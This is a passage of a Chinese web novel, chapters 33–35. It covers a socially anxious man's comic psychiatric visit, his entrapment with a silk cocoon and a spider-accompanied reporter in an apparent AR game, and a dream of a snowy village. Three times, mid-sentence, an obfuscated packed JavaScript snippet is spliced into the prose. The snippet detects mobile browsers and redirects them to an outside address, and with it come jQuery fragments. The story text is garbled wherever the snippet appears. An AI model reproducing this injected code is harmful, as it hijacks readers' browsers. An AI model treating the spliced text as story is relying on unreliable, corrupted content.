他前面给安浔塞了几根[塑剑]。 虽然安浔体能不太好,但目前还没有那个蚀体伤到过他。 就在他思忖之时,一个麦克风突然怼到了他的嘴边。 职业习惯使然,严祈明下意识地说了句:“你好,不接受采访。” “!”话音落下的一瞬,严祈明立刻绷紧神经。 他现在可是在医院,还是在[茧幕]的二次屏障里,这从哪来的记者? 严祈明抬起头。 对面不知何时,已经站着一名手持麦克风的职业女性。她面容亲和,表情友善,身后还跟着一个硕大的摄像机。 但扛摄像机的不是人。 而是一只硕大的蜘蛛。 “没关系,先生。我们也不接受您不接受采访。” 那记者笑吟吟地盯着他,蛊惑似的将麦克风再度怼到严祈明的嘴边: “请问你幸福吗?” 33. 遗传病史 (33) “先生请坐。” 安浔刚进就诊室,就看见了林医生。 她身穿洁净的白大褂,坐在办公桌后,背光的窗户透出下午的阳光,仿佛给林医生施加了金灿灿的柔光滤镜,blingbling的无比神圣。 女神。 这简直就是女神! 如果不是林医生鼓励他一定要和房东老太抗争到底,他现在一定还活在刘姨的阴影下。如果没有刘姨退还给他的补偿金,他今天甚至连挂号的钱都掏不出来。 安浔真的很感谢林医生。 虽然才过去不到一周,但他明显感觉到自己的状态在变好。 尽管和人说话还是紧张,到了公共场合也犯怵,但他比以前有进步了!一定要让林医生注意到这些小变化! 安浔步伐轻快地坐到林医生对面。 “我是来复诊的。” 他看向林医生,语调充满希冀:“我前几天刚来过,当时给我看病的也是你。林医生,你还记得我吗?” 坐在对面的林医生一愣。 她的表情空白了几秒,随即埋首于显示屏间,试图掩盖自己的疑惑。 虽然她不可能记住自己接待的每位患者,但几天前就见过的人,她肯定还是有印象的——可她对眼前这名神情阴郁的青年,居然毫无记忆。 “大概是哪天?”林医生问。 “上周三。”安浔给出了准确的回答。 林医生在键盘上敲敲打打了一通,发现上周三根本没有“安浔”的记录。 她又扩大范围搜索了一下,但病历系统里根本没有叫“安浔”的患者。 林医生:“……” 心理科是个很复杂的科室。 每天都会遇到各种存在心理障碍和性格缺陷的患者。基于丰富的出诊经验,林医生什么奇葩病人都见过。 林医生:“可以给我描述一下我们‘上周三’都聊过什么事吗?” 安浔思考了一下。 认为林医生是想考验一下他的语言表述能力。 原来是要检验他的康复成果吗? 没问题,一定要让林医生刮目相看! 安浔从上周三进入医院开始讲起,说到了他们在就诊中谈及的聊天内容,还分享了自己在房东老太那成功维权的好消息,blablabla讲了好一通。 虽然偶尔会卡顿,但和上周三磕磕绊绊讲话的模样相比,进步已经尤为明显! “我说完了。” 他自信地看向林医生。 林医生没说话。 只是面色凝重地低下头,对着键盘敲敲打打了好一通。 最后她印出一张单子,递给了安浔,委婉道: “安先生,你目前这个情况,我其实不建议你独自出门。” “?”安浔的笑容一僵。 林医生又补充: “直白点说,我怀疑你可能挂错号了,你现在的问题已经不归属于心理范畴了。人压力大的时候心理问题常伴随躯体化,我建议你去更好的专科医院看看,比如五院。” 五院。 如果没记错,那好像是精神病院。 安浔颤颤巍巍地低下头,抖着手看向就诊单上的结论: 病人说话过程中状态亢奋,疑出现记忆错乱、癔症等症状,需进一步观察。 “安先生,你的家人呢?” 林医生关切地看着他:“如果是陪同你过来的,最好把他叫来,我有些话想和他说。” 安浔:“。” “家人的话……我其实有个哥,但他不在擎安。” 林医生:“那他现在在哪?” “这我还真不知道。” 安浔挠挠头,“他上次和我联系是两年前的事了,走的挺突然的。” “前一天还买了switch的游戏卡带,要和我一起玩。结果第二天他就消失了,留了张字条说自己去环球打工了……等赚够钱,就回来完成拯救全人类的壮举。” 林医生:“……” 好家伙,原来还有家族遗传病史! 林医生哽了一下,只能干巴巴地嘱咐:“那你回去的路上小心点。有时间了去五院看看,不要拖,最好尽快去。” “……好的。” 安浔垂头丧气地出了门。 林医生说了那么多,摆明就是想告诉他:你脑子有病。 安浔不甘心地回忆着自己刚才都做了什么。 明明他表现的很正常啊? 就是客观地描述了一下上周三的就诊过程,顺便分享了自己成功维权的好消息…… 怎么就推荐他去五院了? 他精神状态明明很良好啊! 安浔感觉道心破碎了。 他返回走廊,准备和Prayer聊一下这件事,问问对方的看法。却发现Prayer已经不见了。 他在附近转了一圈,没有找到人。 难道是上厕所去了? 他又等了一会,可惜还是没等来Prayer,只好拨叫微.信电话。 刚才在街上时人太多了,乌泱泱的,安浔什么都听不清。这次再拨叫时,他才发现Prayer的微.信铃声居然是花园宝宝。 安浔:“。” 他盯着屏幕正中央那张抽象的极简小人头像,感觉一切都合理了起来。 玛卡巴卡~ 阿卡哇卡~ 伊卡呀卡~噢! 在那一声声魔性的洗脑旋律中,他酣畅淋漓地听完了整首歌,可惜Prayer还是没有接听。 就在这时,林医生的就诊室里走出个小护士。 好像是刚才他打电话时进去的,估计是去送了什么材料。 此时,小护士有点紧张地朝他走来。 “那个……” 小护士看向他的眼神透着恐惧,支支吾吾道:“林医生说,想看动画片就回家看。她刚才接诊了个高中生,小孩一边哭一边说学习压力又变大了,耳边还有玛卡巴卡一直在叫。” “…………” 安浔:“对不起!!!!” 他三连鞠躬疯狂致歉。 结果对面的姑娘吓得一溜烟跑走了。 安浔愣了好半天才明白,小护士可能刚听说他是五院病人预备役,怕他犯病。 可是。 他没病啊。 不对,他是有病!……但他只是社恐啊! 安浔逐渐焦虑起来。 这种情况,他也不知该如何是好。可林医生的诊断结果总归有她的道理,他现在只想找个可靠的人赶紧问问。 但Prayer直接没影了,安浔只好继续搜寻Prayer所说的“源头”。 这个游戏体验测试还没结束,也许Prayer先他一步去找了。 他就这么一路地毯式搜索到医院的最顶层。 这似乎是个办公层。 整层楼都静悄悄的,没有病人,也没有医护人员。只有苍白的墙壁和冰冷的地板。 但到这层时,安浔发现丝线变得更多了。 他透过墨镜,注意到这些丝线的方向再次统一了起来,变得井然有序。 这里病人能进吗? 安浔有点犹豫。 但他没看到病人止步之类的标识,又怕Prayer已经在这层了,只好硬着头皮继续前进。 空中的丝线蜿蜒伏动着,就像在指引方向。 最后,它们一同延伸向一道金属质地的双扇门中。丝线直接穿过门扉,不知后面有什么。 安浔发现门没锁,于是悄悄推开了大门。 吱呀—— 大门很轻松地被推开了。 门后没有Prayer。 只有一间偌大的汇报厅,估计是医院人员用来开大型会议时使用的。 汇报厅内空荡荡的,分明一个人都没有,却灯光通明。静谧到诡异。 红色织布座椅呈阶梯状排列,大约能容纳二三百人。最下方有个汇报舞台,华丽的丝绒帷幕将舞台遮蔽了大半。 安浔有点紧张。 噗通。 噗通、噗通。 他甚至听见了一阵心跳声。 他有些迟疑地朝门内踏入一小步,试探性地呼唤:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569277|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……Prayer?” 没有任何回应。 安浔觉得就这么闯入别人单位的演播厅,实在不礼貌。 原本想退出去的,但敞开的大门却“啪”的一声——重重关合! “!” 安浔连忙转过身,想把大门拉开,却发现无论如何用力,那道门都纹丝不动。 他被锁住了! “外面有人吗!?” 他惊慌地拍了拍门,“麻烦把门打开!还有人在里面!!” 可惜。 大门没有开启,门后也没有任何动静。 安浔在门边站了一会,感觉脑壳突突的疼。 他掏出手机,想给Prayer再打个电话,却发现手机顶端的信号格上只剩下一个叉号。 没信号了。 安浔开始深呼吸,额角渗出一片冷汗。 理智驱动他沿着阶梯向下,四处找寻着可能存在信号的位置。但他找了个遍,手机信号也没有变化。最后,他只能站到汇报舞台前碰碰运气。 噗通。 噗通、噗通…… 他感觉有些心慌。 心脏鼓动的频率越来越快,声音甚至变成了两道! ……两道? 安浔摸了摸胸口。 掌心传来急促的跳动,但这频率和他听见的并不一致,甚至慢慢交错开了。 他看向身前虚掩的舞台幕布,果断掀开帘子。 帘子之下,是更红的帘子。 但那玩意,已经不能算帘子了。 那其实是层肉红色的薄膜。 和他今天下午在东七路街街口见到的一样,但只有小小一层,仅仅是将舞台后台封了个水泄不通。 血腥又猎奇。 看着实在反胃。 安浔哆哆嗦嗦地将墨镜推到头顶。 薄膜随之消失了。 但噗通噗通的心跳声没有消失,沿着眼镜骨传导到头顶,震得安浔脑袋疼。 “……游戏主线吗?” 他小声嘀咕着。 游戏里突然出现这种标志性的怪物,证明他来对地方了。这层薄膜之后,可能就是Prayer一直在找的“源头”。 安浔犹豫了一会。 他又小心地朝前迈出一步,周身没有任何异样感,只有眼镜骨传导来一阵像尖叫似的“吱——哇——” 好、好像穿过薄膜了? 他重新戴回墨镜,又回头看了看,吱哇声变得更响亮了。 只见那层肉红色的薄膜瑟瑟发抖着。 他原本穿过的地方多了个窟窿,还有点漏风,周边的红色脉络像没气的气球,可怜兮兮地飘荡着。 安浔:“……” 好像也不是那么吓人了。 他没忍住,伸手朝那层柔软的屏障戳了一下,试图道歉:“那个,不好意思……” 结果薄膜上又多了个洞! 吱——哇—— 肉红色薄膜疯狂扭动起来,像在哭。甚至往后缩了几厘米,拼命避开他的手指。 安浔:“…………” 默默把手收回去。 这层薄膜后方,就是后台。 丝线变得更多了,密密麻麻地交织在半空,连那噗通噗通的心跳也越发震耳。 安浔朝后台深处走了几步,想看看能不能找到窗户。 有窗户,手机就能有信号了。 但眼前的景象,却令他大受震撼—— 只见一个成年人之大的椭圆状丝球,被安静地置放在后台中央。像个巨型的白茧。 无数丝线缠绕在白茧上,又有数不清的丝线呈发散状向外扩散,浮荡在空中,一根根连通到外界。 噗通、噗通…… 心跳声越来越清晰。 那白茧随着心跳的频率,隐约颤动着。 原来这声音是白茧传来。 安浔盯着那东西看了一会,突然想到一个词—— 破茧成蝶。 看来这就是Prayer所说的“源头”,他找到了! 但是。 Prayer人呢? 34. 傻了吧! (34) 安浔看了看周围。 确信Prayer不在这里。 但既然找到“源头”…… 是不是意味着这场测试结束了?Prayer也没说找到之后还要做什么。 游戏处于测试阶段嘛,是个不完整的Demo*也很正常。 安浔好奇地朝那巨大的白茧靠近了几步,轻轻碰了其中一条与白茧根部连通的丝线。 察觉到安浔的触碰,那团硕大的茧兴奋地晃动起来。 作为[茧幕]的核心,重中之重的母体,它也没想到居然会有人类成功闯入这里。 但没关系。 它会让这名人类,成为最好的养分。 那根丝线一触即断。 一只娇小的幼蚕从断线中掉落。 吧唧。 幼蚕摔在了安浔脚边,一边蠕动朝安浔蠕动,一边发出了婴儿般的啼哭。 这里孕育着一只幼虫。 但这可不是一般的蚕宝宝。 一旦落地,就会迅速吸干其他生物的生命力,以汲取养分! 去吧,亲爱的孩子! 白茧鼓励似的扭了扭,去吃掉他——茁壮成长! “!!!” 安浔最怕这种软乎乎的小虫子了。 他险些发出尖叫,吓得一脚踩了上去—— 吧唧。 幼蚕直接变扁了。 幼蚕:“……” 白茧:“……” 但安浔忽视了幼蚕的生命力,那玩意居然扁扁地蠕动起来。 “啊啊啊啊啊卧槽这什么啊!!!!!!!” 又疯狂跺了几脚。 “bla”一声。 幼蚕变成了灰色,如同风化的沙石,直接化成一滩齑粉。 白茧:“……!!!!!” 虫子死了。 安浔也有一点死了。 他在原地呆滞了好半天,才总算缓过来。 吓、吓死了qwq。 虽然他知道这是游戏,但这虫子做得也太逼真了,好可怕! 啊啊啊,不想玩了! 他要回家!!! 安浔头皮发麻地盯着那根断掉的丝线,突然意识到一件事—— 这些线,最后都会连接人的脖子上。那……刚才那种幼虫,也会顺着丝线,进入人的身体吗? “……” 安浔一阵恶寒。 啊啊啊不对不对。 这只是个游戏!别当真!! 安浔不敢再碰白茧,小心翼翼地绕过了它,避免再碰到任何一根丝线,脸色苍白地在后台继续找窗户。 他没能找到窗户,却在角落捡到一部手机。 是最新款的香蕉17pro。 他拿起来扫了一眼,发现锁屏壁纸是只头戴蝴蝶结的雪白萨摩耶。 这好像是……Prayer的狗? 他记得自己在朋友圈刷到过,Prayer当时管自己抱着的大狗叫“儿子”。但笑容灿烂的狗狗头顶,却扎着粉红色的蝴蝶结,让人印象深刻。 所以…… 这其实是Prayer的手机! 他来过这里!? 可为什么……只有手机丢在这? “亏你能找到这来。” 一道戏谑的女音,毫无预兆地在身后响起。 安浔浑身一哆嗦。 他总觉得这声音好像在哪听过,于是颤颤巍巍着转过身,果然见到了一个眼熟的人—— 一个笑容满面、热情洋溢,穿着蓝色电视台工作服,手持专业麦克风的女人。 是那名记者。 曾经仅用一句“你幸福吗”,就对他的内心造成一亿点暴击。 杀人如麻,战绩可查。 此刻,她身后的地板上还匍匐着一只硕大的蜘蛛,约有半人之高,头顶扛着一个沉重的摄像机。蜘蛛八只漆黑的眼珠骨碌碌地转动着,又整齐划一地一同盯上了他,眼中散发出骇人的红光。 “!” 安浔抖着手指了指: “你、你身后……” 记者唇角的弧度向外扩散,几乎快要咧到耳根。 “我身后,”她慢条斯理地重复了一遍,像是在细细品味这句话中蕴藏的至深恐惧,嬉笑着明知故问:“我身后怎么了?” 下一秒。 安浔朝前一步,抓起记者就跑! 记者:“?” 蜘蛛:“?” 记者身材娇小,不知为什么身体也轻飘飘的。 安浔为了跑动方便,干脆将记者扛在了肩上。他飞快迈动双腿,以超越极限的爆发力迅速冲入后台更深处的廊道。 啊啊啊卧槽! 那什么东西啊,怎么会有那么大的蜘蛛,吓死个人了!!!! 安浔一边跑,一边抖着嗓音试图安抚记者: “你放心……我我我不会让蜘蛛吃掉你的!” 刚才蜘蛛突然惊现在小记者身后,摆明了是要袭击她啊! 那么大个活生生的人,他怎么能眼睁睁地看着对方被攻击啊!! 记者:“……” “你放我下来。” 安浔:“不不不行!” “等到安全的地方了再……” 他的声音戛然而止。 没有安全的地方了。 安浔已经跑到头了,廊道的最深处仅有一道结实的白墙,是死路。 安浔:“……” 记者顺势从他肩膀跳了下来,盯着他的目光有些一言难尽。 “不知该说你聪明,还是愚蠢。” 记者向后退开一步,将他们之间的距离拉远,再度笑眯眯地扬起嘴角: “你人还怪好的。” “搞得我都不好意思欺负你了。” 什么意思? 安浔愣了愣,突然明白了什么—— “是、是你把我锁在这里的……?” 记者没有回答。 她双手背后,笑吟吟地看着安浔:“重要吗?反正你现在……” “也只剩死路一条了呀。” 哒哒哒。 哒哒哒…… 远边,有什么东西正迈动着数条腿从地板爬过,声音由远及近。 只见那只庞大的蜘蛛以惊人的速度追上,架势犹如一节列车高速运转冲撞而来—— 啊啊啊撞过来了! 安浔惊恐地靠在墙边。 他无处遁形,只能捂着脸,无声地发出土拨鼠尖叫。 ……不对。 他突然回过味来。 像这样的怪物,在现实生活中是并不存在的。 既然害怕……那他把墨镜摘了不就完事了? 对啊! 看不见不就好了! 安浔果断掀开墨镜,在蜘蛛冲过来前,将镜框自信地朝头顶一推—— 傻了吧! 他可是玩家啊,游戏是由他掌握的! 那只蜘蛛果然消失了。 安浔长呼出一口气,顿时放松了下来。 天才! 玩游戏玩害怕了,当然是退出卸载一条龙了! “噗呲。” 旁边的记者没忍住,发出一声爆笑: “哈哈哈哈哈哈哈——我的天啊,你怎么会这么可爱?” 她怜悯地看着安浔,语调意味深长:“听我说,安浔。别再自欺欺人了。” “你以为看不见,或者忘却,有些东西就会随着流逝的时光,消弭在你的脑海中吗?” 记者的声音在安浔的耳畔轻轻回荡。 “但有些东西,即使看不见,也依然存在的。” “它不会因你闭眼而消失。” 咔嚓。 墨镜清晰地骨传导来一道快门被按动的声音。 视线中分明什么都没有,但安浔却有种被闪光灯笼罩的错觉。 眼前变成了一片曝光的亮白色,白色渐渐将他包裹,他的世界也化作一片虚无的白。 咚。 安浔摔在了墙壁的角落。 …… …… 电器城 今天的客人不太多。 如今网络购物发达,他们这种没开在繁华地段的电器商城基本没什么客人光顾。 维修师傅坐在座位上,悠闲地刷着手机。 小视频里的女生正在跟随伴奏跳舞,那舞蹈明显经过精心编排,动作张弛有力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569278|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,灯光闪烁的效果与剪辑结合的恰到好处。 师傅打了个哈欠,朝屏幕的爱心点了一下,又打开评论区,随手写下一条评论—— [这女的我认识,以前住在一个小区的,晚上坐班的(龇牙笑)] 他哪里认识。 只不过发送这种评论,会吸引一大堆人前来讨论,这种小主播肯定会私信和他聊天。 不过就算不删又能怎样? 网上吗,随便说几句话,别人要是当真了那也没办法。 师傅等了一会,但那条评论加载了半天,竟然没能发送出去。 “好奇怪喔,你们真的认识吗?” 他的耳边毫无征兆地响起一句疑问。 那是道年轻的声线。 咬字清晰,语调平和,甚至有点好听。但……这里就他一个人啊! 师傅吓得一哆嗦,身体下意识地朝前倾,直接从凳子跌倒出去。他连滚带爬地坐起身,环顾了一圈四周,却根本没见到其他人。 “这里喔。” 那声音又出现了。 师傅仔细辨别了一会,这才意识到声音出现在了他的头顶。 他惊慌地抬起头,视线却和一团柔软的黑紫色撞在了一起! 那是一只质地半透明的球形小猫。 圆滚滚的,没有五官,只有一张w型的嘴巴。半透明的肚皮下,还浮动着细碎的星辰。 这分明是个毫无攻击性的可爱形象,可师傅却被盯得头皮发麻,汗毛竖立。 他扭头看向刚才的客人留在这的包装盒。 盒子果然被打开了,里面空荡荡的。 “你……”师傅抖着声音,“你被修好了?” “修好?” 那球形小猫伸出粗长的尾巴,蹭了蹭头顶,“噢……我只是睡醒了。我也是最近才知道的,一吃多了就会饭醉,陷入深度睡眠。” 它左顾右盼着看了一圈。 “这是哪里喔?” 安浔呢? “这……这是维修商店。” 师傅颤抖着飞快地说:“我看你好像没什么问题了。我知道你的主人,我立刻联系他带你走……” 怎么这句也在说谎。 深渊不悦地甩了甩尾巴。 祂对说谎很敏感。 无论是人类、蚀体还是别的什么…… 能与祂交流的一切,但凡与祂扯谎,都会被祂察觉。 这种能力不知是从哪来的。 不过祂可是存活时间最久的蚀体,拥有这么多能力也无可厚非。何况祂活的实在太久了,记不住事情也是正常的…… 但是。 深渊还是讨厌被欺骗。 “唔……” 祂歪头打量着维修师傅,轻飘飘地开口:“那就把你吃掉好了。” 虽然也不是很美味。 但把谎言吃进肚子里,就不会再被欺瞒了。 深渊张开嘴。 存钱罐大小的小猫被撕扯变形,在空中化作流动的、泥泞的、不可名状的事物。 黑洞洞的巨大口腔随之张开。 “你……你……” 维修师傅嘴唇发白,挣扎着想要逃跑,却毫无抵御之力的被黑泥拖拽回去。 师傅吓得两眼一翻,直接晕倒。 深渊正要将他一口吞下,却突然身体一顿。 噗通—— 一道短促却沉重的心跳声。 这不是祂的声音。 深渊是蚀体,没有心脏。这道声音来自于被祂标记的事物。 安浔…… 祂留下在安浔耳垂的[异迹]松动了。 “算了。”祂一把将师傅甩到边上。 “敢动我的人。” “活腻了。” 祂准备直接闪现到安浔身边。 正欲离去时,深渊的目光落向还在桌边播放着小人跳舞的手机。 唔…… 之前安浔好像说什么“联网搜索”? 这玩意是不是能上网来着? 安浔只要一玩起手机,都不rua祂了! 祂倒要看看有什么特别的!! 深渊尾巴一甩,飞快把手机塞进嘴里,身影在空中转瞬消失。 35. 限.制.级 (35) 白光退却。 等安浔回过神时,才发现自己站在了一片白茫茫的雪原中。 周遭温度低的惊人,冷风很快穿透了他单薄的夏装,安浔被冻得打了个寒战。 ……这是哪里? 他茫然地环顾四周。 这里只有一排排高耸的松树,松叶之上挂着一层厚重的雪,远边是被冰封的湖。静悄悄的,不见任何人影。 这不对吧? 安浔明明记得自己在医院。 还在参与某个AR空间计算游戏的测试。 他下意识地抬手摸了摸,却发现头顶根本没有什么眼镜,只有自己蓬松的头发。 安浔:“……” 所以这到底是什么情况!!! 难道说…… 对啊。一定又是做梦了! 他最近几天总是很突然地随地大小睡。 短短不到一周的时间,竟然已经在外面莫名其妙睡着三次了,他不会真生什么病吧……? 啪! 安浔果断地扇了自己一巴掌。 他疼得龇牙咧嘴。 痛感分明如此清晰,可他却毫无从梦中苏醒的迹象,周边的景物也没有变化。 安浔:“……” 那就是还不够。 再扇几个,总能醒的! 啪! 啪! 啪! 脸颊火辣辣的一片,安浔酣畅淋漓地给自己手动上了腮红,不知不觉间已经疼得泪流满面。 可他还是没有睡醒。 安浔:“……#” “……你在做什么?” 身后突然传来一道疑惑的声音。 听动静,好像是个小孩。 安浔扭过头,却发现身后空无一物。 安浔:“?” “……这呢。” 那声音闷闷地说。 安浔低下头,这才发现原来这里站着个身穿白色棉袄的小豆丁。 感觉他只有六七岁的年纪,在白雪皑皑的地方穿了一身白,连从帽子下露出的几簇毛都是银白色的,几乎要与环境融为一体了。 唯有小孩那双被白色长睫装点的蓝眼,成为这片天地间最醒目的色彩。 安浔盯着看了一会。 这钴蓝色的大眼睛,这深陷眼窝的欧式双眼皮…… 好眼熟啊。 简直一个模子刻出来的! “你是Prayer……” 安浔抖了抖,又喘出一口气:“的儿子?” 小豆丁:“?” “什么普瑞尔。让我们说中文,别扯那洋玩意。” 安浔又倒吸一口凉气。 好正宗的东北口音! 话说Prayer是哪里人?好像就生在东北? 安浔更加震撼了。 Prayer今年才26岁,儿子看着居然已经有上小学的年纪了! 简直就是惊天大瓜!! 和谁生的啊?Prayer居然已为人父了吗? 安浔盯着他:“你……” 嘴边刚蹦出一个字,他就结结实实地打了个喷嚏。 “你没事吧?零下的气温居然就穿了一层单衣。” 小豆丁围着他转了一圈,毫不掩饰自己看傻子的眼神,“跟哥来吧。给你找件厚衣服穿,别给自己冻死了,大冬天的夺丢人呐。” ……哥? 现在的小孩怎么回事? 安浔亦步亦趋地跟上,没忍住问了句:“小朋友,你叫什么名字?” 小豆丁摇头晃脑: “江湖上的规矩,不能随便告诉别人全名。你喊我明哥吧。” 安浔:“……#” 熊孩子,想踹一脚。 明哥生长在这片雪原。 这里是乡下,一整片旷野中人烟寥寥。他们走了一段时间,最后安浔被带进了一片庞大的农场。 吱呀—— 明哥踮起脚,推开一间红砖房的门。 暖气瞬间扑面而来。 安浔冻到麻木的皮肤总算得到了慰藉。 屋内是二十年前很典型的乡村式装潢,屋内烧了煤炭,所及之处全都暖洋洋的。 “穿吧,我爸的衣服。” 明哥从衣柜掏出一件厚实的深绿色军大衣,甩进安浔怀里。 好有年代感的衣服…… 安浔乖乖披在了身上,身体果然暖了起来。 他望向窗外一望无际的白雪,有点好奇自己为什么会做这种梦。 安浔自小就生长在南方。 从来没见过这么大、又这么逼真的雪。 “这片地全是我家的。” 明哥注意到他在看外面,随即昂首挺胸:“哼哼,厉害吧——大地主哦!” 安浔:“封建阶级。” 明哥:“那是什么?” 安浔:“放以前要被打的那种。” 小豆丁愣了一下,突然蔫了。 “哦。”他应了一声,转身哒哒哒地跑进另一个房间,窜的比兔子还快。 安浔跟着走了进去,发现明哥已经脱了外套和帽子,盘腿坐在一片靠窗的热炕上,身上还盖了一层红绿相间的大花被。 这么一看,明哥和Prayer更像了。 简直就是等比例缩小出来的……哦,也不算等比例,这个腿短。 屋内的家具都是老旧款式,不远处的大屁股电视被打开了。糊糊的低画质屏幕里,播着人物比例被拉长变形的黑白电视剧。 明哥百无聊赖地切换着电视频道,突然闷闷地张嘴: “就算不是风剑……什么级,我也会被打的。” 安浔一顿。 “我前段时间去上学,大家都笑我是白头发。” 明哥裹紧大花被,气的瑟瑟发抖,“我说大家都是雪的孩子,都哥们。我只是比他们更像雪一点,不要太羡慕。他们就丢石子砸我。” 安浔:“……” 你被打,可能不是白头发的原因。 “我还打不过他们!” 明哥越想越气,没忍住哽咽起来:“我跳起来要打班级里的大壮——一个特别高特别胖的大块头。结果他用肚子给我弹出去了!我为什么就这么矮小!呜呜呜……” 居然哭了! 安浔当即手忙脚乱起来:“你、你以后会长很高的!” “真的吗?” 明哥抬起头,哭得满脸鼻涕。 安浔本想用纸给他擦擦,结果想起自己还穿着别人的衣服,于是抬起明哥的手,用他的袖子在脸上糊了糊。 都是自己的,别嫌弃。 “真的!”安浔点头。 当然是真的啊。你爸有一米九呢,你怎么可能会矮! “那行吧。” “君子报仇,十年不晚。” 明哥哽了几声,像呜咽的小白狗,但总算不哭了。 “也……也不是非要打回去。” 安浔觉得不能鼓励小孩武装斗争,于是委婉地提醒:“君子动口不动手。” “动嘴吗……?” 明哥听进去了。 他若有所思地点点头,准备当个事办。 老旧的电视仍在发出滋啦啦的声响。 明哥继续切换频道。 电视上出现了一个眼熟的儿童晚间档节目。现在是白天,大概是重播。 花园宝宝。 安浔瞄了一眼明哥,发现小豆丁居然看得津津有味。 到底还是小孩,喜欢看动画片。 不过现在的儿童频道……居然还在播这么古早的节目吗? 哦,不对不对。 他现在是在做梦,梦见啥都正常。 电视里,玛卡巴卡要睡觉了。 这是个睡觉前很有仪式感的小东西。它在明媚的花园里扭动起圆滚滚的身子,酣畅淋漓地表演了一首《玛卡巴卡之歌》。 翻译腔的腔调配上那阵洗脑的音乐,无比魔性。 “我一直觉得吧……” “我要是唱这个,肯定比这玩意唱的好听。” 明哥指指电视,小脸圆鼓鼓的,“你知道这是什么歌曲种类吗?” 好问题。 安浔左思右想了一下,最后不确定道:“呃……我觉得,应该算rap?” “那是什么?” “就是一种……主要靠说来表现的音乐,也叫说唱。” 明哥恍然大悟! “就它了!”他激动地指着电视。 小豆丁窜起身,在坚实的热炕上蹦跶起来。 “就用这个音乐!” “我要写一首人类最伟大的史诗级作品,把想和大壮说的话全写进去,让他跪在地上痛哭流涕,向我忏悔向我道歉!!!” 安浔:“?” 还真是儿子随爹。 从小就懂得怎么diss人。 难道他真是天才? 安浔这次没再阻拦。 这个年纪正是启蒙兴趣的阶段,没准这个孩子也会走上他爸的路子,成为一个可可爱爱的小rapper。 而且动嘴皮子,确实比动手强嘛。 安浔发了会呆,将视线瞥向一旁,这才注意到一旁陈旧到满是龟裂的墙壁上,还挂着一本日历。 很老的款式。 过一天撕一页的那种,现在不太见得到了。 他走到日历边,望向上方的数字—— 200x年,12月。 二十年前? 安浔蹙起眉头,有点惊愕转身,正要再回头仔细看看那个小豆丁,却见眼前的事物闪动了一下。 滋——啦—— 小豆丁蹦蹦跳跳的身影被扭曲拉长。 “明……哥……” 安浔张大嘴巴,试图呼喊那个雪白的孩子。 但小豆丁没有听见,仍旧喜悦地欢笑着。 他们之间像突然被隔绝了一层水雾,小豆丁周边的事物也像被搅动的水,一点点幻化为波浪的形状。无数暗沉的颜色混在一起,画面彻底变为浑浊的黑。 叮。 一道清脆的声音。 像门铃,又像什么提示音。 眼前天旋地转。 他像是从半空跌落,失重感令他不适。 混乱中,安浔听到一阵犹如梦呓的低喃—— “安浔。” 很轻的。 很温柔的,好听的男音。 咚!!! 他的身体重重地砸在了某种柔软的东西上。 安浔再一睁眼,发现自己居然趴在一张偌大的床上。 这间房屋很陌生。 无论是空间、采光、精美的装潢……都和安浔住的那间老破小毫无关系。 安浔缓了半天,才回过味来。 他不是趴在床上。 而是被什么东西压在床上。 有人按住了他的手腕,沉重的重量覆着在他的腰间,令他根本无从动弹。 安浔:“???” 他惊慌地想要挣扎,却听耳边又传来一声低语: “别动。” “会弄疼你喔。” 这……耳熟的尾音。 小圆的声音? 什么情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569279|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况???? “小……圆……” 他正要说些什么,却感觉有温热的触感扫向他的颈间。 啵。 很轻的一声。 有柔软的唇瓣吻向了他的脖颈,那处位置瞬间发痒发烫起来,像有火在燃烧。 “我给你留下了永久的[异迹]。”安浔身后的声音说。 “不管你身在何时何地,这个[异迹]都将伴随你。这也意味着,只要有人伤害你,无论在哪我都会感觉到。” “一个蚀体,一生只能镌刻一个永久的[异迹]喔。” 那人握住安浔的手,有力的指腹蹭过安浔的手背,将他的手牵引到脖子后方最滚烫的地方。 有一个小小的凸起。 安浔摸到了。 “一般的[异迹]容易被同类察觉,所以我做了伪装。” 那声音轻笑起来,有点慵懒,又透着得意,“在其他人眼里,这只是一个普通的痣喔。厉害吧?” 安浔根本没听懂。 但鬼使神差的,他还是配合地张开嘴:“厉害。” 他身后的东西像是受到了鼓舞,随即问:“那有奖励吗?” 奖……励……? 安浔想转过头,却被背后大到惊人的力度再度按回床上,身体随之更深地陷入被褥间。 然后,他感觉自己身后被什么硕大的东西顶了顶。 一个暧.昧的暗示。 安浔:“……!!!!” 他瞬间意识到那是什么,立即抗拒地挣扎起来。 “……不要!”他当即大喊。 他身后的人一僵,随即停下了动作。 “好喔。” 